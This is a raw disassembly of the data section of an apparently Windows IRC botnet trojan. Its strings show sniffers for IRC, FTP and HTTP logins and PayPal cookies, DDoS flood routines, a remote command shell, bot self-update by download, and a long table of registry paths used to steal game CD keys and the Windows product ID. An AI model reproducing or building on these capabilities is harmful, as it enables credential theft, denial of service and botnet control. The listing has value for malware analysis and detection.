aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper db 'oper ',0 ; DATA XREF: sub_412477+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o
; sub_4124ED+2Bo
align 4
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo
align 4
a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o
align 10h
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o
align 4
unk_435994 db 2Dh ; - ; DATA XREF: sub_412660+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4359CC db 2Dh ; - ; DATA XREF: sub_412660+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_435A04 db 2Dh ; - ; DATA XREF: sub_412660+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A38 db 2Dh ; - ; DATA XREF: sub_412660+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A6C db 2Dh ; - ; DATA XREF: sub_412660+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435AA0 db 2Dh ; - ; DATA XREF: sub_412660+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
unk_435AD0 db 2Dh ; - ; DATA XREF: sub_412660+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_435B24 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_412B08+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_435D4C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_41386B+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_43613C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o
dword_436150 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
align 4
dword_436188 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_41524C:loc_415281o
dword_43619C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_41524C+20o
dword_4361B0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:00415369o
dd 6574656Ch, 0
dword_4361CC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:004152CCo
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o
aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o
; sub_4157F0+26o
align 4
dd 80000001h
off_4361FC dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
; sub_415A2F+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436208 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o
dd 80000001h, 43738Ch, 437380h, 437370h, 2 dup(0)
dd 80000001h, 437350h, 43734Ch, 437338h, 2 dup(0)
dd 80000001h, 437314h, 43734Ch, 437308h, 2 dup(0)
dd 80000001h, 4372E4h, 4372DCh, 4372C8h, 2 dup(0)
dd 80000001h, 4372B4h, 4372A4h, 437288h, 2 dup(0)
dd 80000001h, 437244h, 4373CCh, 437230h, 2 dup(0)
dd 80000002h, 437204h, 4371F8h, 4371D8h, 2 dup(0)
dd 80000002h, 4371A4h, 4373CCh, 43718Ch, 2 dup(0)
dd 80000002h, 437158h, 4373CCh, 437140h, 2 dup(0)
dd 80000002h, 437128h, 4373CCh, 437110h, 2 dup(0)
dd 80000002h, 4370D4h, 43D128h, 4370C4h, 2 dup(0)
dd 80000002h, 43708Ch, 43D128h, 437078h, 2 dup(0)
dd 80000002h, 43702Ch, 43D128h, 43700Ch, 2 dup(0)
dd 80000002h, 436FBCh, 43D128h, 436F90h, 2 dup(0)
dd 80000002h, 436F54h, 43D128h, 436F40h, 2 dup(0)
dd 80000002h, 436F08h, 43D128h, 436EF8h, 2 dup(0)
dd 80000002h, 436EA8h, 43D128h, 436E7Ch, 2 dup(0)
dd 80000002h, 436E3Ch, 43D128h, 436E20h, 2 dup(0)
dd 80000002h, 436DF0h, 43D128h, 436DD0h, 2 dup(0)
dd 80000002h, 436D94h, 43D128h, 436D80h, 2 dup(0)
dd 80000002h, 436D38h, 43D128h, 436D18h, 2 dup(0)
dd 80000002h, 436CC4h, 43D128h, 436C94h, 2 dup(0)
dd 80000002h, 436C44h, 43D128h, 436C18h, 2 dup(0)
dd 80000002h, 436BD8h, 436BD0h, 436BB0h, 2 dup(0)
dd 80000002h, 436B6Ch, 43D128h, 436B50h, 2 dup(0)
dd 80000002h, 436B04h, 43D128h, 436AE0h, 2 dup(0)
dd 80000002h, 436AACh, 43D128h, 436AA0h, 2 dup(0)
dd 80000002h, 436A6Ch, 43D128h, 436A60h, 2 dup(0)
dd 80000002h, 436A2Ch, 43D128h, 436A20h, 2 dup(0)
dd 80000002h, 4369ECh, 43D128h, 4369E0h, 2 dup(0)
dd 80000002h, 4369A4h, 43D128h, 436990h, 2 dup(0)
dd 80000002h, 436954h, 43D128h, 436940h, 2 dup(0)
dd 80000002h, 436910h, 4373CCh, 4368F4h, 2 dup(0)
dd 80000002h, 4368D4h, 4368CCh, 4368A8h, 2 dup(0)
dd 80000002h, 43688Ch, 4368CCh, 43686Ch, 2 dup(0)
dd 80000002h, 43684Ch, 4368CCh, 436828h, 2 dup(0)
dd 80000002h, 436810h, 4368CCh, 43680Ch, 2 dup(0)
dd 80000002h, 4367F0h, 4367E0h, 4367D8h, 2 dup(0)
dd 80000002h, 4367A4h, 42C220h, 43678Ch, 2 dup(0)
dd 80000002h, 436750h, 436744h, 43671Ch, 43670Ch, 4366F8h
dd 80000002h, 4366D4h, 4366C8h, 4366B4h, 4366A4h, 43669Ch
dd 80000002h, 4366D4h, 4366C8h, 436670h, 4366A4h, 436668h
dd 80000002h, 4366D4h, 4366C8h, 436638h, 4366A4h, 436630h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 10h
aSerialnumber db 'SerialNumber',0
align 10h
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
dd offset nullsub_2
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 10h
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 10h
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 10h
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 10h
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 10h
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 10h
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 10h
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 10h
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0
align 10h
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aTheGladiators db 'The Gladiators',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436204o
aCdkey db 'CDKey',0 ; DATA XREF: ___:00436200o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361FCo
align 4
asc_4373FC: ; DATA XREF: sub_415A2F+E9o
; sub_415A2F+F4o
unicode 0, <=>,0
dword_437400 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_415A2F+2Bo
dd 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_43747C db 2Dh ; - ; DATA XREF: ___:00415F17o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_4374A0 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:0041617Co
; ___:00416312o
dd 726F72h
unk_4374B8 db 2Dh ; - ; DATA XREF: ___:00416114o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_4374E4 db 2Dh ; - ; DATA XREF: ___:0041601Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_437508 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:00415FE5o
dd 74756Fh
dword_437520 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:00415F84o
dd 169h
unk_437538 db 2Dh ; - ; DATA XREF: ___:00415F41o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_437558 db 2Dh ; - ; DATA XREF: ___:00415E9Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_43757C db 2Dh ; - ; DATA XREF: ___:00415E5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_4375A0 db 2Dh ; - ; DATA XREF: ___:0041638Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_4375CC db 2Dh ; - ; DATA XREF: ___:00416287o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_4375EC db 2Dh ; - ; DATA XREF: ___:00416267o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: ___:00416253o
unk_43761C db 2Dh ; - ; DATA XREF: ___:0041623Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_43764C db 2Dh ; - ; DATA XREF: ___:0041688Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_437678 db 2Dh ; - ; DATA XREF: ___:0041687Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_4376AC db 2Dh ; - ; DATA XREF: ___:004167C2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_4376F0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416751o
dd 25206465h, 73h
unk_43770C db 2Dh ; - ; DATA XREF: ___:004166DAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_437744 db 2Dh ; - ; DATA XREF: ___:0041665Bo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_43776C db 2Dh ; - ; DATA XREF: ___:004165D1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_437798 db 2Dh ; - ; DATA XREF: ___:0041658Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_4377C0 db 2Dh ; - ; DATA XREF: ___:0041657Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_4377E8 db 2Dh ; - ; DATA XREF: ___:00416470o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o
; sub_418EF6+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo
align 4
off_437838 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o
word_43783C dw 3Fh ; DATA XREF: sub_4169A1+1Fo
; sub_41AA42:loc_41AB44r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o
; sub_416B56+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co
align 10h
unk_437850 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_43788C db 2Dh ; - ; DATA XREF: sub_416B56+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
